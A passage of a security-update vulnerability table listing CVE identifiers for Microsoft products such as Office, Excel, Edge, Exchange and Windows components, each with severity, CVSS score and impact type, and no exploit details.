Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-57981\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57984\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57985\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-57986\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57988\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-57992\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58276\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-56645\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57974\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57975\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58281\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58284\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58285\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58287\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58288\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-58289\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  9\n  No\n  No\n  RCE\n \n \n  CVE-2026-58290\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58292\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58293\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58294\n  Microsoft Edge\n  (Chromium-based) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-57983\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.7\n  No\n  No\n  SFB\n \n \n  CVE-2026-58295\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.3\n  No\n  No\n  SFB\n \n \n  CVE-2026-58525\n  Microsoft Edge\n  (Chromium-based) Security Feature Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-57987\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58278\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56646\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57977\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-57993\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58282\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58283\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58286\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58298\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  7.2\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58524\n  Microsoft Edge\n  (Chromium-based) Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-58296\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58297\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-58300\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58522\n  Microsoft Edge for\n  Android Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  Info\n \n \n  CVE-2026-58299\n  Microsoft Edge for\n  Android Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-58523\n  Microsoft Edge for\n  Android Security Feature Bypass Vulnerability\n  Important\n  6.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-50678\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.6\n  No\n  No\n  Info\n \n \n  CVE-2026-54988\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-48580\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50408\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55046\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55138\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55054\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55122\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55898\n  Microsoft Excel\n  Information Disclosure Vulnerability\n  Important\n  6.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50675\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55899\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55948\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58618\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47642\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55024\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55025\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55031\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55048\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55029\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55039\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55136\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55141\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55036\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55044\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55037\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55058\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55137\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55053\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54131\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55947\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55949\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56156\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55006\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55009\n  Microsoft Exchange\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55005\n  Microsoft Exchange\n  Server Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  